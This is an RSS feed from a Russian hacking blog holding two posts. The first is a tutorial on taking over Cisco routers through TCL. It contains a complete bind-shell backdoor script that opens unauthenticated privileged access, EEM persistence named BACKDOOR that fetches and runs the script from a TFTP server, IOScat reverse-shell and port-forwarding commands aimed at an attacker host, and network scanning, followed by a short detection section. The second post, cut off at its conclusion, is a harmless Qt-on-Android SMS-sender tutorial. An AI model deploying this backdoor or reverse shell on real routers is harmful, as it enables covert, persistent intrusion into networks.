<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>XAKEPress</title>
	<atom:link href="http://arthurbabark.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://arthurbabark.wordpress.com</link>
	<description>Взлом, компьютерная безопасность, защита данных</description>
	<lastBuildDate>Fri, 17 Dec 2010 11:25:34 +0000</lastBuildDate>
	<language>ru</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='arthurbabark.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>XAKEPress</title>
		<link>http://arthurbabark.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://arthurbabark.wordpress.com/osd.xml" title="XAKEPress" />
	<atom:link rel='hub' href='http://arthurbabark.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Покоряем Cisco: атака через TCL</title>
		<link>http://arthurbabark.wordpress.com/2010/12/17/%d0%bf%d0%be%d0%ba%d0%be%d1%80%d1%8f%d0%b5%d0%bc-cisco-%d0%b0%d1%82%d0%b0%d0%ba%d0%b0-%d1%87%d0%b5%d1%80%d0%b5%d0%b7-tcl/</link>
		<comments>http://arthurbabark.wordpress.com/2010/12/17/%d0%bf%d0%be%d0%ba%d0%be%d1%80%d1%8f%d0%b5%d0%bc-cisco-%d0%b0%d1%82%d0%b0%d0%ba%d0%b0-%d1%87%d0%b5%d1%80%d0%b5%d0%b7-tcl/#comments</comments>
		<pubDate>Fri, 17 Dec 2010 11:25:32 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
				<category><![CDATA[ВЗЛОМ]]></category>
		<category><![CDATA[FERRUM]]></category>

		<guid isPermaLink="false">http://arthurbabark.wordpress.com/?p=248</guid>
		<description><![CDATA[Достаточно часто в ходе проведения работ по тестированию на проникновение встречаются машрутизаторы Cisco Systems с привилегированным доступом (level 15), что позволяет использовать их для дальнейшего развития атак с использованием функционала TCL. Сейчас я опишу несколько методов данных атак, и поверь, их использование действительно приводит к повышению прав на, якобы, защищенном маршрутизаторе. Tcl – (Tool Command [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=248&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Достаточно часто в ходе проведения работ по тестированию на проникновение встречаются машрутизаторы Cisco Systems с привилегированным доступом (level 15), что позволяет использовать их для дальнейшего развития атак с использованием функционала TCL. Сейчас я опишу несколько методов данных атак, и поверь, их использование действительно приводит к повышению прав на, якобы, защищенном маршрутизаторе.</p>
<p style="text-align:justify;">Tcl – (Tool Command Language) – скриптовый язык часто применяемых с графической библиотекой Tk, придуман в начале 80-х годов и из-за своей простоты продолжает повсеместно использоваться как встроенный в различные приложения; вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование его как модуля к серверной части apache mod_tcl. В операционную систему IOS, используемую маршрутизаторами Cisco Tcl, был введен с версии <a href="http://cisco.com/en/US/docs/ios/12_3t/12_3t2/feature/guide/gt_tcl.html" target="_blank">IOS 12.3(2)T</a>, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения &laquo;пользовательских&raquo; скриптов. Как наиболее часто встречаемый пример, использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.<span id="more-248"></span>Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора для следующих действий:</p>
<ul style="text-align:justify;">
<li>Разработки собственного варианта &laquo;бэкдора&raquo; с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;</li>
<li>Проведения сканирования портов в различных сегментах сети;</li>
<li>Проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;</li>
<li>Разработки вариантов скриптов для возможности перебора паролей (брутфорса) различных устройств и серверов в сети.</li>
</ul>
<p style="text-align:justify;">Данными методами также может воспользоваться злоумышленник, получив доступ к TFTP-серверу компании, где размещены существующие скрипты и принудительно заменить существующий сценарий на собственный. В этом случае произойдет его загрузка и запуск на маршрутизаторе.</p>
<h2 style="text-align:justify;">Практикуемся</h2>
<p style="text-align:justify;">Давай попробуем понять, как это можно реализовать с помощью удаленного шелла, который можно использовать без явной аутентификации с входом на назначенный порт по протоколу Telnet. Подобный сценарий использовался в качестве задания на соревнованиях &laquo;Рускрипто CTF 2010&#8243;.</p>
<p style="text-align:justify;">В первую очередь давай разберем, как работает Tcl на устройствах под управлением IOS.</p>
<p style="text-align:justify;"><strong>Загрузка и исполнение TCL-скрипта:</strong></p>
<p style="text-align:justify;">Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ не ниже уровня 15 (enable). Скрипт Tcl необходимо загружать удаленно, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в FLASH-память c последующим его запуском с файловой системы IOS.</p>
<p style="text-align:justify;">Загрузка скрипта во FLASH и последующее его выполнение:</p>
<p style="text-align:justify;"><code>Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl<br />
Router# tclsh flash://script.tcl</code></p>
<p style="text-align:justify;">Загрузка скрипта непосредственно с TFTP-сервера:</p>
<p style="text-align:justify;"><code>Router# tclsh t</code><code>ftp://192.168.1.4/script.tcl</code></p>
<p style="text-align:justify;">Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка скрипта выполняется методами, описанными выше (в приведенном примере с сервера TFTP).</p>
<p style="text-align:justify;"><code>proc callback {sock addr port} {<br />
fconfigure $sock -translation crlf -buffering line<br />
puts $sock "Cisco router admin console:"<br />
puts $sock " "<br />
puts -nonewline $sock "Router# "<br />
flush $sock<br />
fileevent $sock readable [list echo $sock]<br />
}</p>
<p>proc echo {sock} {<br />
global var</p>
<p>flush $sock</p>
<p>if {[catch {gets $sock line}] ||<br />
[eof $sock]} {<br />
return [close $sock]<br />
}</p>
<p>catch {exec $line} result<br />
if {[catch {puts $sock $result}]} {<br />
return [close $sock]<br />
}</p>
<p>puts -nonewline $sock "Router# "<br />
flush $sock<br />
}</p>
<p>set port 2002<br />
set sh [socket -server callback $port]<br />
vwait var<br />
close $sh</code></p>
<p style="text-align:justify;">После загрузки и последующего запуска вышеприведенного скрипта появится возможность зайти в систему (режим EXEC) без использования учетных записей и выполнять любые команды с использованием привилегий супер-пользователя (level 15).</p>
<p style="text-align:justify;"><code>[ptsec@maxpatrol ~]$ telnet router 2002<br />
Trying 192.168.1.10...<br />
Connected to router.<br />
Escape character is '^]'.</p>
<p>Cisco router admin console:</p>
<p>Router#</code></p>
<p style="text-align:justify;">Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо помнить при работе с Tcl на устройствах под управлением IOS. В первых версиях IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу скрипта при обрыве линии или по команде clear line. Этот &laquo;патч-фикс&raquo; производителя можно обойти несколькими способами:</p>
<p style="text-align:justify;"><strong>1</strong>. На линиях, (console 0 или vty 0 4), с которых запускается скрипт, применить команду exec-timeout 0 0, в противном случае по завершении сессии скрипт завершит свою работу.</p>
<p style="text-align:justify;"><code>Router&gt;en<br />
Router#conf t<br />
Enter configuration commands, one per line. End with CNTL/Z.<br />
Router(config)#line vty 0 4<br />
Router(config-line)#exec-timeout 0 0</code></p>
<p style="text-align:justify;"><strong>2</strong>. Производить запуск скрипта с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. На примере ниже показана конфигурация, которая загружает скрипт с TFTP после запуска маршрутизатора по истечении 20 секунд.</p>
<p style="text-align:justify;"><code>Router(config)# event manager applet BACKDOOR<br />
Router(config-applet)# event timer countdown name Delay time 20<br />
Router(config-applet)# action 1.0 cli command "enable"<br />
Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"<br />
Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"</code></p>
<p style="text-align:justify;"><strong>3</strong>. Конвертировать TCL-скрипт в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.</p>
<h2 style="text-align:justify;">Готовые утилиты</h2>
<p style="text-align:justify;">В ряде ситуаций можно использовать готовые скрипты, такие как IOScat и IOSmap, входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами. Используя встроенный язык TCL, можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив скрипт TCL в flash-маршрутизатор или через TFTP-сервер напрямую в RAM. Методика загрузки и установки TCL на маршрутизатор описана выше.</p>
<p style="text-align:justify;"><strong>Примеры реализации:</strong></p>
<p style="text-align:justify;">Организация бэкдора на маршрутизаторе (2002 порт):</p>
<p style="text-align:justify;"><code>Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 –oe</code></p>
<p style="text-align:justify;">Организация реверсного шелла на адрес атакующего (порт 12345):</p>
<p style="text-align:justify;"><code>Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345</code></p>
<p style="text-align:justify;">(на твоей машине приемником шелла выступает обычный netcat: nc -l -p 12345)</p>
<p style="text-align:justify;">Проброс удаленного порта на локальный порт маршрутизатора (2002):</p>
<p style="text-align:justify;"><code>Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1 -op80</code></p>
<p style="text-align:justify;">У данного скрипта есть много других примеров, например копирование файлов с использованием сокетов, имитация телнет-сессии на удаленном хосте и много других функций, которые можно посмотреть на сайте разработчика.</p>
<p style="text-align:justify;">Скрипт с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, в урезанном функционале, но в данном случае достаточно эксклюзивным для работы в среде IOS. Функционал этого TCL-скрипта позволяет производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том числе используя метод инвентаризации хостов посредством протокола ICMP.</p>
<p style="text-align:justify;">Рассмотрим примеры использования:</p>
<p style="text-align:justify;"><code>Router&gt;en<br />
Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443<br />
Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !<br />
[OK - 15912 bytes]</p>
<p>Loading services.list from 192.168.1.4 (via FastEthernet0/0): !<br />
[OK - 42121 bytes]</p>
<p>Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC</p>
<p>Free Memory on Platform = 29038388 / Memory required for this scan = 2622514</p>
<p>Host 192.168.1.1 is unavailable</p>
<p>Host 192.168.1.2 is unavailable</p>
<p>Host 192.168.1.3 is unavailable</p>
<p>Interesting ports on host 192.168.1.4<br />
PORT STATE SERVICE<br />
20/tcp closed ftp-data<br />
21/tcp closed ftp<br />
22/tcp closed ssh<br />
23/tcp closed telnet<br />
24/tcp closed priv-mail<br />
80/tcp open http<br />
443/tcp closed https</p>
<p>Host 192.168.1.5 is unavailable</p>
<p>Router#</code></p>
<p style="text-align:justify;">Изменение вариантов сканирования скрипта возможно путем добавления аргументов:</p>
<p style="text-align:justify;">-sP – только по ответу хоста;<br />
-sT – TCP-портов методом TCP connect;<br />
-sU – UDP-портов через функционал IP SLA.</p>
<p style="text-align:justify;">Учитывая богатые возможности ТСL, можно разработать множество подобных, интересных приложений для реализации их в сетевой среде на оборудовании Cisco Systems.</p>
<h2 style="text-align:justify;">Методы обнаружения</h2>
<p style="text-align:justify;">Имея возможность запускать скрипты, также интересно иметь возможность отследить их исполнение. Сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе, используя следующие команды маршрутизатора:</p>
<p style="text-align:justify;"><code>Router#show processes cpu | i Tcl<br />
212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16</p>
<p>Router#show tcp brief all<br />
TCB Local Address Foreign Address (state)<br />
659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB<br />
654485B4 *.2002 *.* LISTEN<br />
65CA2D04 *.80 *.* LISTEN</code></p>
<p style="text-align:justify;">Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control Plane Policy):</p>
<p style="text-align:justify;"><code>Router#show control-plane host open-ports<br />
Active internet connections (servers and established)<br />
Prot Local Address Foreign Address Service State<br />
tcp *:23 *:0 Telnet LISTEN<br />
tcp *:23 192.168.1.4:1379 Telnet ESTABLIS<br />
tcp *:80 *:0 HTTP CORE LISTEN<br />
tcp *:1234 *:0 Tcl Serv - tty163 LISTEN</code></p>
<p style="text-align:justify;">Также можно использовать и автоматизированные средства, такие как система контроля защищенности и соответствия стандартам MaxPatrol (доступен для скачивания на <a href="http://ptsecurity.ru/" target="_blank">ptsecurity.ru</a>).</p>
<h2 style="text-align:justify;">Послесловие</h2>
<p style="text-align:justify;">Таким образом, все поняли, что любую, даже самую защищенную Cisco можно захватить умело написанным и запущенным TCL-сценарием. В итоге злоумышленник получает шелл со всеми вытекающими отсюда последствиями. А защититься от этого можно только грамотной настройкой маршрутизатора, периодическим обновлением IOS и ежедневным мониторингом логов подключений. В общем, не ленитесь и ухаживайте за своей Cisco <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p style="text-align:justify;">&nbsp;</p>
<br />Filed under: <a href='http://arthurbabark.wordpress.com/category/%d0%b2%d0%b7%d0%bb%d0%be%d0%bc/'>ВЗЛОМ</a>, <a href='http://arthurbabark.wordpress.com/category/ferrum/'>FERRUM</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arthurbabark.wordpress.com/248/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arthurbabark.wordpress.com/248/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arthurbabark.wordpress.com/248/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arthurbabark.wordpress.com/248/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arthurbabark.wordpress.com/248/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arthurbabark.wordpress.com/248/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arthurbabark.wordpress.com/248/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arthurbabark.wordpress.com/248/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arthurbabark.wordpress.com/248/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arthurbabark.wordpress.com/248/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arthurbabark.wordpress.com/248/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arthurbabark.wordpress.com/248/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arthurbabark.wordpress.com/248/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arthurbabark.wordpress.com/248/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=248&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arthurbabark.wordpress.com/2010/12/17/%d0%bf%d0%be%d0%ba%d0%be%d1%80%d1%8f%d0%b5%d0%bc-cisco-%d0%b0%d1%82%d0%b0%d0%ba%d0%b0-%d1%87%d0%b5%d1%80%d0%b5%d0%b7-tcl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/4d5f0956c7f4132011a56321959fd142?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webmaster</media:title>
		</media:content>
	</item>
		<item>
		<title>SMS-сендер для Android: исследуем недра операционной системы с помощью дебаггера и не только</title>
		<link>http://arthurbabark.wordpress.com/2010/10/12/sms-%d1%81%d0%b5%d0%bd%d0%b4%d0%b5%d1%80-%d0%b4%d0%bb%d1%8f-android-%d0%b8%d1%81%d1%81%d0%bb%d0%b5%d0%b4%d1%83%d0%b5%d0%bc-%d0%bd%d0%b5%d0%b4%d1%80%d0%b0-%d0%be%d0%bf%d0%b5%d1%80%d0%b0%d1%86%d0%b8/</link>
		<comments>http://arthurbabark.wordpress.com/2010/10/12/sms-%d1%81%d0%b5%d0%bd%d0%b4%d0%b5%d1%80-%d0%b4%d0%bb%d1%8f-android-%d0%b8%d1%81%d1%81%d0%bb%d0%b5%d0%b4%d1%83%d0%b5%d0%bc-%d0%bd%d0%b5%d0%b4%d1%80%d0%b0-%d0%be%d0%bf%d0%b5%d1%80%d0%b0%d1%86%d0%b8/#comments</comments>
		<pubDate>Tue, 12 Oct 2010 13:32:50 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
				<category><![CDATA[КОДИНГ]]></category>
		<category><![CDATA[addvalue]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[будет]]></category>
		<category><![CDATA[кстати]]></category>
		<category><![CDATA[проекта]]></category>
		<category><![CDATA[header]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[index]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[qstring]]></category>

		<guid isPermaLink="false">http://arthurbabark.wordpress.com/?p=245</guid>
		<description><![CDATA[Когда OS Android только появилась, многие, и я в том числе, мечтали, чтобы на нее как можно скорее портировали Qt. К сожалению, корпорация добра не оправдала наших надежд, сообщив, что SDK Андроида будет только на Java. Новость о покупке Trolltech корпорацией Nokia тоже не добавила оптимизма. Спустя некоторое время к нам привалила нежданная радость — [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=245&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Когда OS Android только появилась, многие, и я в том числе, мечтали, чтобы на нее как можно скорее портировали Qt. К сожалению, корпорация добра не оправдала наших надежд, сообщив, что SDK Андроида будет только на Java. Новость о покупке Trolltech корпорацией Nokia тоже не добавила оптимизма.</p>
<p style="text-align:justify;">Спустя некоторое время к нам привалила нежданная радость — для Андроида вышел NDK для нативной разработки на C++, и, конечно же, нашлись люди, которые стали портировать Qt на Android. На данный момент порт уже более-менее юзабелен — работают (и почти не глючат) практически все модули. Ну что ж, посмотрим, какие <a href="http://www.xakep.ru/post/53445/">возможности</a> открывает нам этот порт.</p>
<h2 style="text-align:justify;">Как оно работает?</h2>
<p style="text-align:justify;">Поначалу кажется, что данный порт — это очень большой костыль. Без Java все равно не обошлось — с помощью NDK нельзя создавать исполняемые файлы, можно только библиотеки .so. На Java, по сути, нужно написать всего одну строчку, которая загружает нашу библиотеку на Qt. Далее виртуальная <a href="http://www.xakep.ru/post/53445/">машина</a> Android запускает Java-приложение, которое, в свою очередь, грузит нашу либу.</p>
<h2 style="text-align:justify;">Сборка QT</h2>
<p style="text-align:justify;">Весь процесс очень хорошо описан в Wiki проекта, но он содержит несколько граблей, поэтому кое-какие пояснения нам дать все же придется.</p>
<p style="text-align:justify;">Небольшая оговорка — процесс описывается для Ubuntu 10.04, но на других дистрибутивах, в принципе, все должно происходить так же. А вот для того, чтобы провернуть это дело под виндой, тебе придется немного попрыгать с бубном (какая тонкая ирония, а?).</p>
<p style="text-align:justify;">Итак, поехали:</p>
<p style="text-align:justify;">Создаем директорию для SDK. Пишем в консоль:</p>
<p style="text-align:justify;"><code>wget  http://android-lighthouse.googlecode.com/files/qadk-1.x-2.x-rtti-exceptions.tar.lzma<br />
tar xvfa qadk-1.x-2.x-rtti-exceptions.tar.lzma </code></p>
<p style="text-align:justify;">Клонируем репозиторий Lighthouse:</p>
<p style="text-align:justify;"><code>git clone git://gitorious.org/~taipan/qt/androidlighthouse.git</code></p>
<p style="text-align:justify;">Редактируем файл mkspecs/android-g++/qmake.conf. В нем нужно изменить NDK_ROOT и ANDROID_PLATFORM (у меня — /data/local/qt и android-5 соответственно). Эти параметры отвечают за расположение собранной библиотеки и ее версию. Также нужно отредактировать файл androidconfig.sh. Настоятельно рекомендую заменить shared на static (для статической сборки библиотеки и приложений). Все, конфигурируем (./androidconfig.sh) и собираем (make -j X, где X — количество ядер твоего процессора).</p>
<p style="text-align:justify;">Все? Не тут-то было! Не знаю, как обстоят дела с другими дистрибутивами, но на Ubuntu &laquo;make&raquo; вылетал с ошибкой, говорящей о недоступности заголовочных файлов OpenGL. Чего только я не предпринимал… Поставил все, что можно было, но решение оказалось куда проще — надо было просто переустановить имеющиеся в системе заголовочные файлы OpenGL. После этого можно повторять команду make -j X и идти… нет, не пить пиво, а курить мануалы по разработке под Android — информация лишней не бывает никогда, а собираться оно будет долго =).<span id="more-245"></span></p>
<h2 style="text-align:justify;">Создание приложения</h2>
<p style="text-align:justify;">Запускай Qt Creator, создавай новое GUI-приложение. В нем (вернее, в файле .pro) нам нужно будет изменить несколько строчек. Они должны выглядеть так:</p>
<p style="text-align:justify;"><code>TEMPLATE = lib<br />
CONFIG += dll</code></p>
<p style="text-align:justify;">В настройках Qt Creator нужно также указать путь до нашего (андроидовского) qmake — у меня это /data/local/qt/bin/qmake.</p>
<p style="text-align:justify;">Вообще, я бы посоветовал сначала дебажить приложение как десктопное и только потом изменять параметры сборки.</p>
<p style="text-align:justify;">Кстати, я ведь еще не говорил, что за приложение мы будем писать? Это будет приложение для отправки СМС на номера самых различных операторов. Это возможно благодаря сервису smste.ru, который мы и будем использовать. Не буду вдаваться в подробности сниффинга, скажу только, что я использую для этих целей Wireshark.</p>
<p style="text-align:justify;">Разберем алгоритм отправки сообщения:</p>
<ol style="text-align:justify;">
<li>Делаем GET рута — главной страницы сайта, выдираем оттуда нужные нам значения input’ов (те, которые hidden), а заодно и кукисы.</li>
<li>Запрашиваем капчу по номеру телефона и показываем ее пользователю.</li>
<li>Отправляем POST-запрос с сообщением.</li>
</ol>
<p style="text-align:justify;">Для отправки HTTP-запросов в Qt существует класс QHttp. Кстати, не забудь подключить модуль QtNetwork (QT += network) в файле проекта!</p>
<p style="text-align:justify;">Набросай форму (мою ты можешь увидеть на скриншоте) и приступай к кодингу.</p>
<p style="text-align:justify;"><img src="http://www.xakep.ru/post/53445/widget.jpg" border="0" alt="" width="450" height="393" /></p>
<p style="text-align:justify;">От объекта http класса QHtpp нам требуются только два сигнала — done() и readyRead(). Сразу при создании главного виджета отправим GET-запрос главной страницы:</p>
<p style="text-align:justify;"><code>http.setHost("smste.ru");<br />
http.get("/");</code></p>
<p style="text-align:justify;">Сигнал done(), по сути, и не используется — по нему можно будет только опознать ошибку сетевого уровня (например, отключение Wi-Fi). Рассмотрим некоторые части слота onHttpReadyRead(const QHttpResponseHeader&amp;resp):</p>
<p style="text-align:justify;"><code>QString str(http.readAll());<br />
qint32 index=str.indexOf("value=\"code")+7;<br />
if ( index != 6 )<br />
codeMod = str.mid(index, str.indexOf("\" /&gt;", index) - index);</code></p>
<p style="text-align:justify;">Здесь мы копируем &laquo;спрятанную&raquo; (hidden) переменную codeMod из исходника страницы. Идем дальше:</p>
<p style="text-align:justify;"><code>QString cookieStr;<br />
for ( qint8 i = 0; i &lt; resp.values().count(); i++ )<br />
{<br />
if ( resp.values().at(i).first == "Set-Cookie" ) cookieStr.append(resp.values().at(i).second+'\n');<br />
}<br />
cookies = QNetworkCookie::parseCookies(cookieStr.toAscii());</code></p>
<p style="text-align:justify;">Ну, а в этом куске кода, как ты, наверное, догадался, мы парсим печеньки. cookies — это QList из QnetworkCookie.</p>
<p style="text-align:justify;"><code>qint32 index = str.indexOf("&lt;image&gt;/pix/") + 12;<br />
image = str.mid(index,str.indexOf(".jpg") - index);<br />
QHttpRequestHeader header = createHeader("GET",QString("/pix/%1.jpg").arg(image));<br />
http.request(header);</code></p>
<p style="text-align:justify;">Здесь копируется адрес капчи (запрос адреса я покажу чуть позже) и посылается запрос этого самого JPEG’а.</p>
<p style="text-align:justify;">А вот так он сохраняется:</p>
<p style="text-align:justify;"><code>if ( resp.value("Content-Type") == "image/jpeg")<br />
{<br />
ui-&gt;captchaLb-&gt;setPixmap(QPixmap::fromImage(QImage::fromData(http.readAll())));<br />
return;<br />
}</code></p>
<p style="text-align:justify;">Так, с этим слотом разобрались.</p>
<p style="text-align:justify;">Капчу нужно запрашивать, как только пользователь введет номер телефона, то есть, когда закончится редактирование текста ui-&gt;numberLE. Для этого есть специальный слот:</p>
<p style="text-align:justify;"><code>void MainWidget::on_numberLE_editingFinished()<br />
{<br />
if ( ui-&gt;numberLE-&gt;text().length() != 11 )<br />
return;<br />
QHttpRequestHeader header = createHeader("GET", QString("/netxml.php?number=%1&amp;rnd=94728").arg(ui-&gt;numberLE-&gt;text()));<br />
http.request(header);<br />
}</code></p>
<p style="text-align:justify;">Функцию createHeader() смотри на врезке — она создает хедер HTTP-запроса (вообще, можно и проще, но нам надо отправлять еще и куки).</p>
<blockquote>
<h3>Создание HTTP-заголовка</h3>
<p><code>QHttpRequestHeader MainWidget::createHeader(<br />
const QString &amp;method,<br />
const QString &amp;path<br />
)<br />
{<br />
QHttpRequestHeader header(method, path);<br />
header.addValue("Host", "smste.ru");<br />
header.addValue("Connection", "keep-alive");<br />
header.addValue("User-Agent", "Mozilla/5.0");<br />
header.addValue("Referer", "http://smste.ru");<br />
header.addValue("Accept", "*/*");<br />
QString cookie;<br />
for ( qint8 i = 0; i &lt; cookies.length(); i++ )<br />
cookie += ( cookies.at(i).toRawForm(QNetworkCookie::NameAndValueOnly) + ";  	");<br />
header.addValue("Cookie", cookie);<br />
return header;<br />
}</code></p></blockquote>
<p style="text-align:justify;">Остался последний слот — нажатие кнопки &laquo;Отправить&raquo;, и он предельно прост:</p>
<p style="text-align:justify;"><code>QHttpRequestHeader header = createHeader("POST", "/");<br />
header.addValue("", QString("number=%1&amp; message=%2&amp;sign=ax-soft.ru&amp;event=%3&amp;  codemod=%4&amp;%5=%6"). arg(ui-&gt;numberLE-&gt; text()). arg(ui-&gt;textPTE-&gt;toPlainText()).  arg(image). arg(codeMod). arg(codeMod). arg(ui-&gt;captchaLE-&gt;text()));<br />
qDebug() &lt;&lt; header.toString();<br />
http.request(header);</code></p>
<p style="text-align:justify;">Вот и все! Делай Build All, собирай .apk-пакет <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<h2 style="text-align:justify;">Создание виртуальной машины</h2>
<p style="text-align:justify;">Для тестирования приложения нам нужно создать виртуальную машину. Кстати, надеюсь, у тебя установлена Java Runtime Environment? Если нет, то поставь, вещь нужная. Кроме того, для создания .apk-пакетов понадобится ant. Ставится он легко — sudo apt-get install ant. Теперь переходи в сабдиректорию tools в Android SDK и вводи ./android. Запустится менеджер настроек и виртуальных <a href="http://www.xakep.ru/post/53445/">машин</a>.</p>
<p style="text-align:justify;">Сначала скачай нужные API (разобраться нетрудно, для этого примера нужна версия 8), далее переходи на вкладку Virtual Devices, жми New. В Name — любое имя, Target — Android 2.2, Skin — какой хочешь (я выбрал WVGA800), и нажимай Create AVD. Затем выбирай <a href="http://www.xakep.ru/post/53445/">машину</a> и жми Start, Launch. Все, будем ждать. На моем нетбуке оно запускалось около десяти минут, на десктопе — 1,5-2 минуты. Работает эмулятор так же медленно, как и запускается (ибо эмулирует ARM с помощью QEMU). С одной стороны это плохо, что все тормозит, а с другой стороны — мы получаем достоверные на 100% результаты. Как только появится рабочий стол Android, виртуальную машину можно будет оставить в покое.</p>
<h2 style="text-align:justify;">Создание тестового проекта</h2>
<p style="text-align:justify;">Переходим в директорию tools Android SDK (в консоли). Открываем документацию, начинаем вкуривать. Вводим: ./android create project. Опс, ошибочка! Смотрим, чего от нас хотят. Ага, мы не указали параметры нашего будущего проекта, а точнее: цель. Нужна версия API, путь до проекта, его имя, имя Activity и имя пространства имен для приложения. У меня получилось вот так:</p>
<p style="text-align:justify;"><code>./android create project --target 8 --name hello --path ./TestPro --activity  helloActivity --package com.example.hello</code></p>
<p style="text-align:justify;">Делаем ls… ага, вот она — директория TestPro. Входим в нее, и опять вызываем ls. Далее в директории libs нужно создать сабдиректорию armeabi. В нее мы копируем нашу собранную Qt’шную либу (.so).</p>
<p style="text-align:justify;">В каталог src/ надо скопировать все содержимое androidlighthouse/src/android/java/com, чтобы получилось src/com/nokia/qt. После этого идем в src/com/example/hello/ и редактируем там главный Activity — helloActivity.java. Удаляем onCreate, добавляем функцию:</p>
<p style="text-align:justify;"><code>public helloActivity()<br />
{<br />
setApplication("Hello");<br />
}</code></p>
<p style="text-align:justify;">Здесь Hello — имя приложения. Следовательно, наша библиотека .so должна называться libHello.so.</p>
<p style="text-align:justify;">Ну и, наконец, идем в консоли в корень проекта и командуем ant install. Ждем (долго, поскольку либа статическая и весит много. У меня, например — 12.5 Мб). После того, как в консоли появится заветное SUCCESSFUL, можно идти в главное меню Андроида и запускать оттуда свое приложение.</p>
<h2 style="text-align:justify;">Заключение</h2>
